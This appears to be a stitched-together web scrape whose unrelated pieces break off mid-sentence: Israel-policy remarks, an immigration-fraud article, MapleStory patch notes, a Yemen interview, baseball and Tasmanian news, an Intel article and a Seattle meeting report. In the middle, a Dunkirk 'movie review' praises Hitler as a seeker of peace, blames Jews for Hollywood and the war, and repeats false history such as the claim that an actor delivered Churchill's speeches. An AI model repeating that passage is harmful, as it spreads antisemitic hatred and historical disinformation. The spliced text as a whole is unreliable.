But unfortunately Israel’s future is being threatened by its own actions, as well as its adversaries. For years reckless settlement expansion has been opposed by the Untied States and the rest of the world. They’re confiscating Palestinian land in a way that is not just contrary to longstanding American policy…. [This resolution] drives a wedge between Israel and the majority of the Americans, including the majority of Jewish Americans. It weakens that special relationship and furthers the isolation of Israel in evidence as the resolution was approved unanimously by the other 14 countries. Israel will become more vulnerable and candidly more likely will embolden forces that are hostile to the Jewish state.
Lloyd Doggett of Texas also emphasized “isolation, more and more isolation.” And said that Netanyahu was driving the U.S. off a cliff.
Today’s resolution which purports to support Israeli security actually undermines that security. It favors going it alone with the current Israeli government in defiance of our other allies in the 14 countries that unanimously voted for this Security Council measure. Isolation, more and more isolation, is not the way to protect Israel. Those who demonstrate their friendship with Israel by following Mr. Netanyahu on one right turn after another are boxing in America and Israel. He’s moving us further and further to the extremes so that we eventually go off a cliff into chaos.
Nothing more to say than that!Under the Obama administration, 1,811 aliens from terrorist countries were granted U.S. citizenship instead of being deported—and the Obama administration ended the program that uncovered the extensive fraud.
Originally, the Associated Press reported that the aliens’ fingerprints were not in searchable government databases, allowing them to apply for citizenship under different names and birthdays.
The scope of the problem is massive: “Fingerprints are missing from federal databases for as many as 315,000 immigrants with final deportation orders or who are fugitive criminals,” the Associated Press stated. “Immigration and Customs Enforcement has not reviewed about 148,000 of those immigrants’ files to add fingerprints to the digital record.”
Three of the aliens under final deportation orders who were granted citizenship gained access to secure commercial airliner areas and maritime facilities. Another is working as a law enforcement officer.
But the Obama administration shut down that program, the Office of Inspector General found:
In 2016, OPS [Office of Operations Coordination] eliminated Operation Janus and disbanded its staff, which raises concerns about the future ability of ICE [U.S. Immigrations and Customs Enforcement] and USCIS to continue identifying and prioritizing individuals for investigation. Since 2010 and until recently, Operation Janus identified these individuals, created watchlist entries to ensure law enforcement and immigration officials were aware of them, and coordinated DHS and other agencies’ activities related to these individuals. Two DHS employees outside of OPS said that without Operation Janus, it would be difficult to coordinate these cases and combat immigration fraud perpetrated by individuals using multiple identities. We received this information late in our review and cannot assess the future impact of this change.
ICE didn’t consistently log the digital fingerprints of illegal aliens their agents found until 2010—and federal prosecutors have repeatedly declined criminal cases that could end in the aliens being stripped of their citizenship.
The implications were not lost on one DHS whistleblower.
“If the Department of Homeland Security was serious about this, they would not have shut down the program that discovered this lapse in the first place,” whistleblower Philip Haney said on Fox and Friends Tuesday. “They say they’re addressing it, but they shut the program down that originally discovered it. It’s hard to effectively address it. But they say they have recommendations that the agencies are following, and they’re expecting a follow-up report.”
Haney believed that “high-level fraud” took place: “These individuals are from countries |
up to 6 enemies. Creates a shock wave that deals 150% damage 4 times on up to 6 enemies. Double Fang’s damage is increased by 240%p.
Punch enemies in front of you with a screw blow that creates shock waves. After attacking, for a short period of time, a shock wave will remain at that position dealing additional damage. In addition, permanently increase Double Fang’s damage. (max level: 30) Flash Move: While using Sway, instantly move to and hit nearby enemies. While using Sway, you can press the Sway button again to activate this skill. If no enemies are in range, it cannot be activated. This skill can be linked to Magnum Punch. Permanently increase Magnum Punch’s damage. (required skill: level 15 Sway) (max level: 20) Level 1: Level 20: Deals 250% damage 3 times on up to 6 enemies. Magnum Punch’s damage is increased by 160%p.
While using Sway, instantly move to and hit nearby enemies. While using Sway, you can press the Sway button again to activate this skill. If no enemies are in range, it cannot be activated. This skill can be linked to Magnum Punch. Permanently increase Magnum Punch’s damage. (required skill: level 15 Sway) (max level: 20) Hurricane Mixer: Use your weaving, ducking, and swaying skills to create a circle of never-ending punches. Create a hurricane of quick, continuous punches to hit surrounding enemies. You can move while using this attack. In addition, permanently increase Hammer Smash’s damage. (required skills: level 15 Ducking, level 15 Sway) (max level: 30) Level 1: Level 30: Deals 550% damage 1 time on up to 12 enemies continuously while the skill key is held down. While the skill key is held down, you can use movement keys to move. When the skill key is released, use a jumping uppercut that deals 1000% damage 1 times on up to 12 enemies. Hammer Smash’s damage is increased by 175%p. Cooldown: XX seconds.
Use your weaving, ducking, and swaying skills to create a circle of never-ending punches. Create a hurricane of quick, continuous punches to hit surrounding enemies. You can move while using this attack. In addition, permanently increase Hammer Smash’s damage. (required skills: level 15 Ducking, level 15 Sway) (max level: 30) Revolving Bunker: After instantly reloading your bullets to the maximum, quickly grab enemies in front of you and bind them. While an enemy is grabbed, you can use Revolving Cannon up to 6 times, dealing increasing damage. You can then use Pile Bunker to deal additional damage. Grabbed enemies cannot attack and you will be invincible while you are grabbing an enemy. Pile Bunker’s last attack will ignore an additional part of enemies’ defenses. If an enemy is not nearby to grab, this skill cannot be used. (required skill: level 10 Release Pile Bunker) (max level: 30) Level 1: Level 30: Deals 230% damage 2 times on 1 enemy and binds their movements. While grabbing the enemy, you can use Revolving Cannon which will deal 200%, 220%, 240%, 260%, 280%, 300% damage 4 times on up to 10 enemies. Pile Bunker’s last attack will deal 350% damage 8 times, ignoring 60% of the enemy’s defenses. Cooldown: 120 seconds.
After instantly reloading your bullets to the maximum, quickly grab enemies in front of you and bind them. While an enemy is grabbed, you can use Revolving Cannon up to 6 times, dealing increasing damage. You can then use Pile Bunker to deal additional damage. Grabbed enemies cannot attack and you will be invincible while you are grabbing an enemy. Pile Bunker’s last attack will ignore an additional part of enemies’ defenses. If an enemy is not nearby to grab, this skill cannot be used. (required skill: level 10 Release Pile Bunker) (max level: 30) Super Endurance: Convert your Endurance Shield into health. If Endurance Shield is not active or your HP is full, you cannot use this skill. After using this skill, for a certain period of time you will take reduced damage from enemy attacks (including % HP attacks) based on Charge Mastery’s values. This buff is not affected by buff duration increasing effects. In addition, permanently increase Lift Throw’s damage. (required skill: level 20 Endurance Training II) (max level: 10) Level 1: Level 10: For 15 seconds, reduce damage taken from enemy attacks. Cooldown: 80 seconds. Lift Throw’s damage is increased by 150%p.
Convert your Endurance Shield into health. If Endurance Shield is not active or your HP is full, you cannot use this skill. After using this skill, for a certain period of time you will take reduced damage from enemy attacks (including % HP attacks) based on Charge Mastery’s values. This buff is not affected by buff duration increasing effects. In addition, permanently increase Lift Throw’s damage. (required skill: level 20 Endurance Training II) (max level: 10) Maple Warrior: Increase the stats of all party members by a certain percentage for a certain period of time. (max level: 30) Level 1: Increases all stats by 1% for 30 seconds. Level 30: Increases all stats by 15% for 900 seconds.
Increase the stats of all party members by a certain percentage for a certain period of time. (max level: 30) Hero’s Will: By focusing your mind, you can ignore some abnormal status effects. However, this will not work on all abnormal status effects. (max level: 5) Level 1: Cooldown: 600 seconds. Level 5: Cooldown: 360 seconds.
By focusing your mind, you can ignore some abnormal status effects. However, this will not work on all abnormal status effects. (max level: 5) Revolving Cannon Upgrade III: Enhance the performance of the Gauntlet Revolver’s built-in Revolving Cannon to its final stage. Revolving Cannon Upgrade II’s boosts are replaced with this skill’s boosts. (required skill: level 20 Revolving Cannon Upgrade II) (max level: 20) Level 1: Level 20: Release Pile Bunker’s damage is increased by 120%p, shock wave A/B/C’s damage is increased by 170%p. Revolving Cannon Mastery’s extra hit’s damage is increased by 140%p. Revolving Cannon’s damage while using Magnum Punch is increased by 140%p, Revolving Cannon’s damage while using Double Fang is increased by 100%p. The Cylinder Gauge’s maximum is expanded to 6 slots, the number of bullets is increased to 6. If you have at least 6 Cylinder Gauge, Release Pile Bunker’s damage will be increased by 150%p and it will create a fourth shock wave D that deals 320% damage 6 times on up to 10 enemies.
Enhance the performance of the Gauntlet Revolver’s built-in Revolving Cannon to its final stage. Revolving Cannon Upgrade II’s boosts are replaced with this skill’s boosts. (required skill: level 20 Revolving Cannon Upgrade II) (max level: 20) Endurance Training II: Through rigorous mental discipline, your ultimate perseverance enhances Endurance Shield. (required skill: level 20 Endurance Training) (max level: 20) Level 1: Level 20: 20% resistance to statuses and elements. When hit by an enemy, convert 50% of the damage taken into a shield. Every second, 10% + 50 of the shield will disappear.
Through rigorous mental discipline, your ultimate perseverance enhances Endurance Shield. (required skill: level 20 Endurance Training) (max level: 20) Gauntlet Expert: Increase your Gauntlet Revolver mastery, minimum critical damage and maximum critical damage. (required skill: level 10 Gauntlet Mastery) (max level: 30) Level 1: Level 30: 70% mastery, 15% minimum critical damage, 15% maximum critical damage.
Increase your Gauntlet Revolver mastery, minimum critical damage and maximum critical damage. (required skill: level 10 Gauntlet Mastery) (max level: 30) Advanced Charge Mastery: Gain perfect control over the power of your Charge skills, increasing their abilities. Charge Mastery’s values are replaced with this skill’s values. In addition, permanently increase your defense ignored. (required skill: level 14 Charge Mastery) (max level: 10) Level 1: Level 10: Every Charge skill’s Charge duration is decreased by 25%, when you use a Charge skill you will automatically reload 1 bullet. When you begin using charged Ducking and Sway or while using charged Hammer Smash, activate a shield that reduces damage taken from enemy attacks (including % HP attacks) by 50%. Permanently increase your defense ignored by 30%.
Gain perfect control over the power of your Charge skills, increasing their abilities. Charge Mastery’s values are replaced with this skill’s values. In addition, permanently increase your defense ignored. (required skill: level 14 Charge Mastery) (max level: 10) Combination Training II: Research the most ideal battle patterns and combinations, increasing your abilities when you use linked skills and Charge skills. Combination Training’s values are replaced with this skill’s values. In addition, permanently reduce damage taken. (required skill: level 9 Combination Training) (max level: 20) Level 1: Level 20: Can stack up to 10 times. 15 second duration. Your final damage is increased by 4% and your critical rate is increased by 3% per stack. Your attack speed is increased by 1 stage per 6 stacks. Your skill linking speed is increased by 1 stage per 5 stacks. 20% damage reduction.
Research the most ideal battle patterns and combinations, increasing your abilities when you use linked skills and Charge skills. Combination Training’s values are replaced with this skill’s values. In addition, permanently reduce damage taken. (required skill: level 9 Combination Training) (max level: 20)
Hyper
Blaster’s Hyper skills will be added in a later update. (Note: this is what was stated in the patch notes, they did not include the Hyper skills).
Maple Auction Reorganization
The Maple Auction search feature has been improved.
When searching for items with at least 2 options, the search will now detect minimum conditions.
An error where items which matched your search conditions would sometimes not appear has been fixed.
The maximum number of items that could appear in one search has been increased.
The Maple Auction’s default search limit and slots have been increased.
The default number of searches available has been increased from 10 to 20.
The default number of slots for buying/selling has been increased from 5 to 10.
Some features which were not used or were unintuitive have been removed.
Bidding has been removed. Now all items sold in the Maple Auction will have fixed prices so they can all be purchased immediately.
Offers have been removed.
Use/Etc. items’ average price feature has been removed. Now, they are sold like equipment and other items where you decide the price you want to sell them at and you can decide which prices specifically you will buy.
Some features have been added and others have been adjusted to make it more convenient.
Now, when you log in, a notification will appear at the top of your screen if any transactions have been made in the Maple Auction.
The duration of selling items has been streamlined into a choice between 24 hours and 48 hours.
You can now cancel the sale of any items you have registered at any time.
Game Related
The Resistance classes and Demon classes will now receive Emblems at level 60 and level 100.
(Lev. 60) Silver Resistance Emblem
(Lev. 100) Gold Resistance Emblem
(Lev. 60) Silver Demon Emblem
(Lev. 100) Gold Demon Emblem
You can now create Innocent Scrolls and Clean Slate Scrolls using Scroll Traces.
30% Innocent Scroll – 5000 Scroll Traces
– 5000 Scroll Traces 5% Clean Slate Scroll – 2000 Scroll Traces
Skill Related
Demon Slayer/Demon Avenger
NEW! Demonic Fortitude: Invoke the Demon’s specialities and share a condensed Demon aura. [required level: 200] Level 1: 10% damage, 10% maximum damage limit boost for 60 seconds. Cooldown: 120 seconds. Only applies to Demon classes, Resistance classes, and Xenon within the party.
Invoke the Demon’s specialities and share a condensed Demon aura. [required level: 200] REMOVED! Will of Liberty
EunWol
Spirit Bond Maximum: final damage boost to Soul Tent after this skill is enhanced has been decreased from 850% to 400%
AdvertisementsThe crisis in Yemen was sparked by the thirst for revenge of former president Ali Abdullah Saleh and the support provided by Iran, the leader of a well known social organisation in the conflict-torn Arab nation has claimed.
Shadi Mosin Khasroof, assistant professor in the political department of Sanaa university and the president of Haraka Rafdh, said in an interview with Urdu daily Roznama Rashtriya Sahara during a visit here that though the Shia Houthi rebels had agreed to hand over their weapons after an agreement at a national conference on the future of the country, they went back on their word after a secret meeting with Saleh.
"A national conference of the Yemeni people and all political parties was held to discuss the issues of republican regime, local issues and other changes, and the Houthis also participated in that conference," Khasroof said.
"They (the Houthis) agreed on the changes related to the country but later they refused and began trying to apply their own thoughts. An agreement was prepared in the conference that the rebel groups would hand over their weapons to the government. But the Houthi rebels met secretly with former president Ali Abdullah Saleh who already wanted to take revenge. Thus armed Houthis started operations in Sanaa to take revenge in the name of corruption."
Haraka Rafdh is an organisation of Yemeni youth established to protect the people of the southwest Asian nation and restore stability and peace in the country and opposed to any kind of extremism, according to Khasroof.
He said Haraka Rafdh "stood against the authoritarian thoughts of the Houthis and for restoring democracy, stability, security and peace of Yemen". "The organisation of Houthi rebels is extremist with negative thoughts, and its goal is to get the government through extremism, and this organisation believes in discrimination and prejudice," he said.
"The leader of this organisation, Abdul Malik Houthi, wants to govern on the method of Iranian leader (President Hassan) Rouhani. He wants that all the authorities should be retained by clerics. Thus the Yemeni people are in confusion because of this thought and they are against him."
Following the Houthi rebellion that forced President Abd Rabbu Mansour Hadi into exile, a Saudi Arabia-led coalition of eight Arab nations commenced airstrikes on Yemen from March 26 this year. Over 1,300 people have died in the airstrikes and in clashes between the Houthis and those opposed to them while thousands of people have been displaced. The capital Sanaa remains under Houthi control.
"The Yemeni people are worried about extremism, kidnapping and bombing and they have turned against the Houthis. The protests by Yemeni people kept increasing. The Houthis, afraid of the people's protests, started to use their powers by attacking cities and they put the Yemeni president under house arrest. When he fled to (the southern port city of) Aden, they occupied it," Khasroof said.
He said Saudi Arabia's action in Yemen was for the benefit of the Yemeni people.
"The president and external affairs minister took shelter in Saudi Arabia and they requested the kingdom to intervene in Yemen for the protection of the Yemeni people and restoring stability and peace. Thus, the Saudi government had to intervene for the welfare of the Yemeni people."
Khasroof claimed that Iran has also played a major role behind the troubles in Yemen and has armed the Houthis. "Iran played a major role in creating the crisis in Yemen, and the Houthi organisation stood with the support of Iran. Iran also provided weapons to them. The Houthis have been given military training in Ethiopia and south Lebanon," he said.
Former president Saleh played a major role in worsening the situation in the country, according to Khasroof. "He (Saleh) has only one goal and that is to rule the country like an autocratic leader. But the Yemeni people are democratic... We believe that no autocrat can rule Yemen however powerful or extremist he is."
Asked what was the way out for Yemen, Khasroff said: "The solution to everything is available but intention should be true." "The solution can come out when Ali Abdullah Saleh and the Houthis admit their sins with true heart and apologise to the Yemeni people. The rebels should hand over their weapons to the government and all kidnapped people should be released," he said.
"The crisis can be resolved by dialogue for the stability and development of Yemen. Opportunity should be given to the Yemeni people to participate in the dialogue."According to Andrew Marchand, right-hander Nathan Eovaldi said he is open to signing a long-term contract with the Yankees. Assuming the price is right, of course. “It would depend on what they offered,” said Eovaldi to Marchand. “I love it here.”
Eovaldi is one of the most important players on the roster right now. He’s only 26 and he’s pitching as well as he has at any point in his career. He’s also just a year away from free agency. The Yankees have to start thinking seriously about his long-term future if they haven’t already. (I’m sure they have.) Is Eovaldi most valuable long-term as a trade chip or in the rotation?
Honestly, I’m not sure there’s a right answer. You could make a very good argument for trading Eovaldi and a very good argument for keeping him. In fact, let’s do both really quick:
That about sums it up, right? The fact the upcoming free agent pitching market is terrible is a double-edged sword. Teams will be looking for pitching in trades and the Yankees have a pretty good pitcher to offer. Supply and demand, baby. At the same time, it also means it’s going to be pricey for the Yankees to build their own pitching staff.
Right now I am on team #ExtendEvo. I think power pitchers this young are hard to come by, and it helps that he’s already proven to be coachable (learned the splitter) and had some success in New York. If another team had Eovaldi and put him on the trade block — or he was available as a free agent — wouldn’t we want the Yankees to go after him? Of course we would.
At the same time, the Yankees have to listen to trade offers. It’s only smart. Someone might blow you away with an offer and the Yankees need all the young talent they can get. We know the Cubs have some interest. I could see the Giants, Rangers, Tigers, Astros, Pirates, White Sox, and Nationals all getting involved in Eovaldi talks too.
So far this season Eovaldi has a 3.71 ERA (3.53 FIP) in ten starts and 60.2 innings. His strikeout (22.9%) and ground ball (54.3%) rates are both career highs at the moment, as is his swing-and-miss rate (9.3%). There are plenty of reasons to like Eovaldi long-term and also some reasons to remain skeptical. No doubt about it. The fact he is at least open to an extension with the Yankees is a positive.Tasmanian Premier Will Hodgman offers historic apology to people convicted of homosexuality and cross-dressing laws.
The Tasmanian government has apologized to men convicted under the state’s former laws against homosexuality and cross-dressing.
Premier of the southern Australian state, Will Hodgman offered the apology in Tasmania’s parliament today. He was the first Australian leader to commit to such an apology in 2015.
The apology weeks ahead of the 20th anniversary of the decriminalisation of homosexuality in Tasmania on May 1 1997.
‘We acknowledge that Tasmanians suffered as a result of these laws which were repealed 20 years ago,’ Hodgman said in parliament.
‘We apologise to those directly affected in this way, to their family and loved ones.
‘We cannot go back in time and undo the harm caused by these laws. We can apologise for it and we do so today.’
Better late than never
Tasmania was the last state to decriminalize homosexuality. Its anti-gay laws had the most severe maximum punishment in the western world of 21 years in jail.
Tasmania was also the only state to criminalise cross-dressing and now the criminal records of trans Tasmanians can be expunged as well.
‘The message to those LGBTI Tasmanians who were convicted for being themselves is that the island society that once rejected them now embraces them,’ said Tasmanian Gay and Lesbian Rights Group spokesperson, Rodney Croome.
‘The Government’s legislation will directly benefit those people who were convicted under our old laws against homosexuality and cross-dressing by ensuring their criminal record does not appear whenever they apply for a job or a volunteer position.
‘But an apology from the Premier will go even further because it will help heal the damage inflicted by by our old laws, including blackmail, ostracism, ignominy, hate crimes and even sometimes suicide.’
State apology today will be a profound moment of healing & reconciliation for Tasmania’s #LGBTI community #politas https://t.co/CXHIVGNK1I — Anna Brown (@AnnaHRLC) April 13, 2017Follow our FREE updates on Twitter and / or Friend us at Facebook * If you haven't already done so, be sure to sign up for our FREE Report & FREE Updates List at bottom of page.
DUNKIRK: MOVIE REVIEW (2017) By Mike King. "All The News That Sulzberger's Propaganda Rag Saw Fit To Distort"
A Daily Web Page Summary of the Dirty Lies, Glaring Omissions, Half Truths & Globalist Bias of The NY Times Front Page Headlines
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NY Times: C hristopher Nolan’s Latest Time-Bending Feat? ‘Dunkirk’
REBUTTAL BY I t is amazing how this stinking movie genre of World War II lies, which started with The Great Dictator in 1940, is still going strong after 77 years! Boy oh boy, evidently The Great One (that's Hitler for all youse newbies and normies) must have really shaken the New World Order gang to its rotten Satanic core. Though we just cannot bring ourselves to the theater and subject our volatile emotions to two hours of fraudulent filth on the big screen, based on reviewing several extended You Tube trailers, and in light of the fact that a “historian” named Joshua Levine (cough cough) was hired to help develop the script, we already know the oh-so-predictable historical spin of the Dunkirk “escape” that this propaganda film will surely present. Let us debunk the lasting lie about “the miracle at Dunkirk.” Sandwiched around our explanation of why the British were able to so easily “escape” at Dunkirk, are critical bits of before and after historical context, excerpted from “The Bad War: The Truth Never Taught About World War II.” 1. As part of prepping the American public for eventual entry into World War II, Communist Charlie Chaplin, described in FBI files as a "secret Jew" ( here ), mercilessly mocks Hitler in 1940 film, The Great Dictator. 2. Fake historian Joshua Levine (cough cough) collaborated on the script of Dunkirk. 3. The Bad War (banned by Amazon) sets the record straight! ( here )
OCTOBER, 1939 – MAY, 1940 HITLER PLEADS FOR PEACE WITH BRITAIN & FRANCE The quiet period between the end of the German-Polish (started by Poland) war until May 1940, is dubbed by a U.S. Senator as "The Phony War." During this time, Hitler pleads for the Allies to withdraw their war declarations. Towards France he declares:. “I have always expressed to France my desire to bury forever our ancient enmity and bring together these two nations, both of which have such glorious pasts." To the British, Hitler says: “I have devoted no less effort to the achievement of Anglo-German friendship. At no time and in no place have I ever acted contrary to British interests….Why should this war in the West be fought?” Hitler’s pleas for peace are ignored as the allies begin to mobilize more than 2,000,000 troops in Northern France. Plans are openly discussed to advance eastward upon Germany, via “neutral” Belgium and Holland, as well as establishing operations in “neutral” Norway and Denmark, with or without their consent. During his speech of October 6, 1939, Hitler pleaded for peace. Meanwhile, the British government shamelessly frightened its own people with idiotic tales of imminent German gas attacks.
MAY 10, 1940 GERMANY LAUNCHES PRE-EMPTIVE INVASION OF BELGIUM & THE NETHERLANDS The massive invasion of Germany’s industrial Ruhr region is to come through the ostensibly “neutral” League of Nations member states of Belgium and The Netherlands, whose governments are under intense Allied pressure to allow safe passage for the planned Allied attack on the bordering Ruhr region of Germany. As an act of national self-defense, Germany takes the fight to the Allies before they can bring it to German soil and reinstitute a 2nd Versailles Treaty. In a stunning advance westward, the German Blitzkrieg quickly overtakes the smaller nations and pushes the Allied armies into a full retreat towards the beaches of northern France. The Globo-Zionist press, as well as today’s history books, portrays the Blitz as “the Nazi conquest of Holland, Belgium, and France.” But the menacing presence of the massive Allied force on Germany’s industrial frontier is conveniently ignored, as is the undeniable and extensive collaboration between the “neutral” Low Countries and the Allies. After the invasion, the German government published “Allied Intrigue in the Low Countries.” which is a 50-page English language paper detailing the full extent of Belgian and Dutch cooperation with the Allies. The western press and modern court-historians have buried these allegations. *
MAY 27 – JUNE 4, 1940 AS A SIGN OF FRIENDSHIP, HITLER ALLOWS THE ALLIED ARMIES TO ESCAPE AT DUNKIRK After Germany’s stunning advance, the Allies are trapped on the beaches of Dunkirk, France. The entire force can be easily captured, but Hitler issues a halt order --- since spun by court historians as being due to concern over tanks getting stuck in mud or just plain carelessness. The truth is, Hitler doesn’t want war. As a show of good faith towards his western tormentors, Hitler believes that the British will be more likely to make peace if they can escape with their dignity intact. A massive boat lift involving British fishermen ferries the troops across the English Channel back to England. The Globalist Press maliciously spins Hitler’s gracious act as a “miraculous escape right under Hitler’s nose.” The alcoholic Winston Churchill vows to keep fighting as he frightens the British people with tales of imminent German invasion. Real History (left) / Hollywood History (right)
Allies trapped on the beach. Hitler's Luftwaffe (Air Force) could easily have taken the entire Allied force prisoner. His gracious act allows the soldiers to escape from Dunkirk. Notice how the actual photo above of the event (Image 1) depicts a calm, methodical and unhindered slow escape. --- no German air attacks! Image 2, from the new movie, falsely portrays the "great escape" as taking place under German aircraft fire. * "He (Hitler) then astonished us by speaking with admiration of the British Empire, of the necessity for its existence, and of the civilization that Britain had brought into the world.....He compared the British Empire with the Catholic Church saying they were both essential elements of stability in the world. He said that all he wanted from Britain was that she should acknowledge Germany's position on the Continent. The return of Germany's colonies would be desirable but not essential, and he would even offer to support Britain with troops if she should be involved in difficulties anywhere." - German General Gunther von Blumentritt
MAY - JUNE, 1940 CHURCHILL DELIVERS HISTORIC RADIO ADDRESSES USING A VOICE ACTOR TO IMPERSONATE HIM Throughout the spring and early summer of 1940, the brainwashed people of Britain cluster around their radios to hear defiant and motivational oratory from what they believe is the mouth of their new Prime Minister. The ‘We Shall Fight on the Beaches’ Speech On June 4, after the evacuation of the defeated British army from Dunkirk, the radio version of the British Mad Dog pledges: "We shall fight on the seas and oceans. We shall fight in the air. We shall defend our island, whatever the cost may be. We shall fight on the beaches. We shall fight on the landing grounds. We shall fight in the fields and in the streets. We shall fight in the hills. We shall never surrender." “And if, which I do not for a moment believe, this island or large part of it were subjugated and starving, then our Empire beyond the seas, armed and guarded by the British fleet would carry on the struggle until, in God’s good time, the New World (United States) with all its power and might, steps forth to the rescue and the liberation of the old.” It is now known, in spite of what some ‘in-denial’ Churchill sycophants still refuse to accept, that this radio broadcast and others, were made not by Churchill, but by an actor hired to impersonate him. Norman Shelley, who voiced for Winnie-the-Pooh for the BBC's Children's Hour, ventriloquized Churchill for history and fooled tens of millions of listeners. Perhaps Churchill is too much incapacitated by drink to deliver the speeches himself; or perhaps his difficult-to-understand speech has been deemed not suitable for a radio audience. So you see, not only was Churchill the “literary giant” a proven plagiarist who also used ghostwriters; it turns out that Churchill the “orator” was also a sham!
1- Nothing is real about the British Mad Dog – nothing! 2- Norman Shelley delivered the most famous radio speeches in 20th Century British History 3- Shelley later voiced for the children’s cartoon character ‘Winnie the Pooh’ -- an inside joke made to mock ‘Winston the Piece of Crap’, perhaps? JULY 20, 1940 HITLER DROPS ‘PEACE LEAFLETS’ OVER LONDON!
With Germany in total control of the continent and the war situation, Hitler responds to Churchill’s unilateral air bombardment by dropping mass quantities of leaflets over London. The 4-page broadsheet contains an English language summary of Hitler’s recent speech before the Reichstag. The speech is entitled, “A Last Appeal to Reason,” in which he closes with a final appeal for peace: "In this hour I feel it to be my duty before my own conscience to appeal once more to reason and common sense in Great Britain as much as elsewhere. I consider myself in a position to make this appeal, since I am not the vanquished, begging favors, but the victor speaking in the name of reason. I can see no reason why this war must go on. I am grieved to think of the sacrifices it will claim. Possibly Mr. Churchill again will brush aside this statement of mine by saying that it is merely born of fear and of doubt in our final victory. In that case I shall have relieved my conscience in regard to the things to come.” The British respond to Hitler’s sincere plea with mockery, threats, and more bombs. UK warmonger Sefton Delmer, the future head and mastermind of British “Black Propaganda,” is just about to make his debut broadcast to Germany on the BBC when he hears about Hitler’s "last appeal to reason." He rejects any notion of a compromise peace. Bigmouth Delmer announces: "Herr Hitler," you have in the past consulted me as to the mood of the British public. So permit me to render your Excellency this little service once again tonight. Let me tell you what we here in Britain think of this appeal of yours to what you are pleased to call our reason and common sense. Herr Führer, we hurl it right back at you, right in your evil smelling teeth." Delmer's inflammatory statement upset a few peace-minded Members of Parliament, but undoubtedly pleased Churchill, his Jewish handlers, and other assorted "patriots" very much. 1 & 2 - Ignorant British soldier laughs as he reads Hitler’s air-dropped peace leaflet. 3- Black Propagandist Sefton Delmer keeps the war-fires burning. * And that, dear reader, is the true before-during-after story of Dunkirk that you’ll neither see nor hear out of Jewish Hollywood. Sight unseen, (other than the various extended trailers) we give this soon-to-be released "summer blockbuster" one big "rotten tomato." Save your money, and pick up a copy of The Bad War and/or The Hitler Photo Album instead. Boobus Americanus 1: I am looking forward to that movie about the British escape at Dunkirk. Boobus Americanus 2: Me too. World War II movies never seem to go out of style.
Sugar : That's becausse the &^%$#*%* @%&* run frickin' Hollywood, you idiot!!! Editor: And the Fake News, and the major universities, and the banking system, and Wall Street, and the courts, and the arts too.
*
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As soon as your payment arrives, we will E-mail your passcodes / pdf's etc. RECENT UPDATES UPDATED FREQUENTLY TOP OF PAGE HOMEThe untold story of Intel's desktop (and notebook) CPU dominance after 2006 has nothing to do with novel new approaches to chip design or spending billions on keeping its army of fabs up to date. While both of those are critical components to the formula, its Intel's internal performance modeling team that plays a major role in providing targets for both the architects and fab engineers to hit. After losing face (and sales) to AMD's Athlon 64 in the early 2000s, Intel adopted a "no more surprises" policy. Intel would never again be caught off guard by a performance upset.
Over the past few years however the focus of meaningful performance has shifted. Just as important as absolute performance, is power consumption. Intel has been going through a slow waking up process over the past few years as it's been adapting to the new ultra mobile world. One of the first things to change however was the scope and focus of its internal performance modeling. User experience (quantified through high speed cameras mapping frame rates to user survey data) and power efficiency are now both incorporated into all architecture targets going forward. Building its next-generation CPU cores no longer means picking a SPECCPU performance target and working towards it, but delivering a certain user experience as well.
Intel's role in the industry has started to change. It worked very closely with Acer on bringing the W510, W700 and S7 to market. With Haswell, Intel will work even closer with its partners - going as far |
… every so often we have to take a break because it’s so much work, so much effort, so many hours.. we’re trying to figure out how to take our volunteer duties and divide them into bite-size pieces, to make it easier for neighborhood people (to help out).” Why can’t the Department of Neighborhoods provide these groups with web sites? she asks. If they could be supportive in more ways, they could “reach out to more of the people that we want to reach out to. … We’re trying to figure out how to let people participate without overwhelming them.”
Central Area’s Sanchez: “We’re a community of community councils,” a way for them to support each other. He talked about his DC members including a rep from an African-American veterans’ group who “worked out a meeting space for his group and a way to communicate with (another group) … that happened just last week.” He also says the councils “fix the city’s screwu-ps” and mentioned that the report that followed the mayor’s declaration last week is an “indictment of the Department of Neighborhoods.”
Around the room, cries of YES!
Then: A man stood up to say yes, he’s a white, old homeowner – David Levinson from the Downtown District Council: “The truth of the matter is that the mayor would prefer things moving from the top down rather than the bottom up.”
Another person says she feels like they’ve been playing “whack-a-mole” rather than being able to look beyond the tasks at hand. Referring to the city’s current outreach practices, she said, “I don’t want to go to any more open houses. I don’t want to put any more sticky notes (on easel boards).” She says it would make more sense for the outreach to go to where the people are.
And as for the city saving money by whacking the district-council system: A district council gets $500 a year from the city, she points out. Many don’t even spend that.
She also speaks highly of neighborhood district councils, as people with integrity, people who can be trusted, people who will treat you respectfully, people who will listen to you.
Next topic: What needs to be accomplished in communities?
Lake City still doesn’t have a full-service community center, “and it’s a disgrace,” says another speaker.
Many areas still need sidewalks, and “public-safety investments,” the shouts come from around the room. “More hours for community centers, for kids’ programs.”
“We should mention Myers Way, says Gunner Scott of the Highland Park Action Committee, referring to another mayoral announcement from a week earlier, “and that (happened) because of relationships. Also, annexation of our friends next door (North Highline) is still on the table, and it’s looking likely, and if (we) hadn’t spoken up and said, why aren’t you talking to White Center, Top Hat, (about Myers Way), we would have had a huge warehouse there.”
From Nancy Folsom of North Delridge Neighborhood Council: “Let’s stop using grants for infrastructure – pitting neighborhood against neighborhood.”
McBride says the next question that he feels DCs should have been asked before getting the guillotine is, “What do you need, district councils, and how can we, the (Department of Neighborhoods), support you?”
Michael Taylor-Judd of NDNC says, “We have been asking for years, a lot of us in this room, for a number of things – help doing outreach, help organizing e-mail lists so that when the city departments come out to us they have a go-to list … help with translation, a lot of the stuff that’s in the 2009 audit, which the city told us, we need to cut back, we’ll get back to this – and then failed to get back to this and it’s really aggravating to see our mayor basically walk through what’s in that audit and (blame the councils for what’s not getting done).” He adds, “It’s also incredibly aggravating for someone in a neighborhood with a lot of renters, a lot of income (diversity), to be told we’re not doing enough,” and he cites an example of NDNC volunteers walking materials door to door to inform people about the DESC (Cottage Grove Commons) development. “So not only is the city cutting resources to us, and then hiring people to do (what we asked them to do). There seems to be a real conflict between what they ask us to do and what they don’t fund us for.”
What could the DON do for the district councils?
Sanchez: “All that stuff the mayor just promised to the group he’s going to form.”
Then a note of defiance: “If the mayor hurries up and (goes through with) this I think we’ll be free to endorse mayoral candidates.”
Troy Meyers from the Squire Park Community Council says his group delivers 3,000 newsletters door to door. He’s on two district councils. “I’m able to do all those things because I’m nearly 50. I couldn’t do them when I was 20, when I was 30.” ”
“What I would like is respect,” says Amanda Kay Helmick of the Westwood-Roxhill-Arbor Heights Community Council. She looks at a city person in the room and says “You don’t come to our meetings, you say what you think we do, but you don’t KNOW what we do. What I would like is respect.”
